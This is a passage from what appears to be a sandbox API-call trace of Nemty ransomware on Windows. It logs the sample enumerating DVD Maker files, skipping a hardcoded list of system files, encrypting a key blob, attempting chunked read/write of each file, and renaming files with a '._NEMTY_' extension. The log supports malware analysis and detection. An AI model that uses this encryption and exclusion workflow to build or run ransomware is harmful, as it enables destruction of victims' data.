[0092.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340410 [0092.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0092.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0092.125] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0092.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0092.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0092.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0092.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0092.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0092.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0092.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0092.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0092.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0092.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0092.125] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7d8fa7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7d8fa7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54f98af5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0092.125] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2=".") returned 1 [0092.125] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="..") returned 1 [0092.125] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="...") returned 1 [0092.125] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="windows") returned -1 [0092.125] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0092.125] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="rsa") returned -1 [0092.125] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="NTDETECT.COM") returned -1 [0092.125] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntldr") returned -1 [0092.125] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="MSDOS.SYS") returned 1 [0092.125] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="IO.SYS") returned 1 [0092.125] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0092.125] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0092.125] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="AUTOEXEC.BAT") returned 1 [0092.125] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0092.125] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0092.125] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="CONFIG.SYS") returned 1 [0092.125] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="RECYCLER") returned -1 [0092.125] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="BOOTSECT.BAK") returned 1 [0092.126] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0092.126] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="programdata") returned -1 [0092.126] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="appdata") returned 1 [0092.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0092.126] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0092.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0092.126] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0092.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0092.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94328 [0092.126] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0092.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0092.126] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0092.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0092.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0092.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0092.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0092.126] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0092.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0092.126] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0092.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0092.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0092.126] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0092.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0092.126] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345640, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0092.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0092.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94328 [0092.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0092.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0092.126] Sleep (dwMilliseconds=0x5) [0092.131] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xea8fbd70, dwHighDateTime=0x1d561e7)) [0092.131] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xea8fbd70, dwHighDateTime=0x1d561e7)) [0092.131] GetLastError () returned 0x5 [0092.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0092.131] GetLastError () returned 0x5 [0092.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0092.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0092.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0092.132] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0092.132] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0092.132] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0092.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0092.132] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="7bWVy+cePWVa+tauJtjFeUdeOYSoLFW2uhDIelfKBxTQeftu2OSDyRwO4LUUb8Se\r\nsxh9j1Uvqkp+T9Cs0yDqXk6SDwEbHU8lPbUjERtzLXyNPd3xXAG2hcn1aGmtCJ3u\r\nmeaCyptx1YaGKDJPZA2E6LOC134mCYO2ps2cmLl/u5ID4woyxnnZe0pZhdQPwvDb\r\nNwO1hY3lGlwxLUh9Wc/bcfMHek6O3ong4l5F5cNKpB46QBEA+na9bV00vB/cAg8i\r\nzyfw6+snqm4wu6wohXuPrWzKb/sb6ZK6XZCjVXgBL6sGlUGMLWe2l4RDOwcQaNAQ\r\na64zU9T37kbj/TMHYUxkLg==\r\n", pcchString=0x653e91c) returned 1 [0092.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0092.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0092.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0092.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0092.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0092.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0092.132] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0092.132] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0092.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0092.132] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.132] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.142] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.142] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.142] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.142] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.151] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.151] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.151] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.151] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.161] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.161] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.161] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.161] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.180] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.180] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.180] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.180] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.189] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.189] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.189] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.189] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.198] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.198] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.198] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.198] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.207] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.208] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.208] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.208] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.217] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.217] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.217] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.217] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.226] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.226] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.226] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.226] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.236] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.236] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.236] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.236] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.242] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.242] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.242] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.242] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.248] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.248] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.248] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.248] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0092.248] CloseHandle (hObject=0xffffffff) returned 0 [0092.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0092.248] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0092.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0092.248] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0092.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0092.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0092.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0092.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0092.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0092.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0092.249] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0092.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0092.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0092.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0092.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0092.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0092.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0092.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0092.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0092.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0092.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0092.249] FindNextFileW (in: hFindFile=0x3423a70, 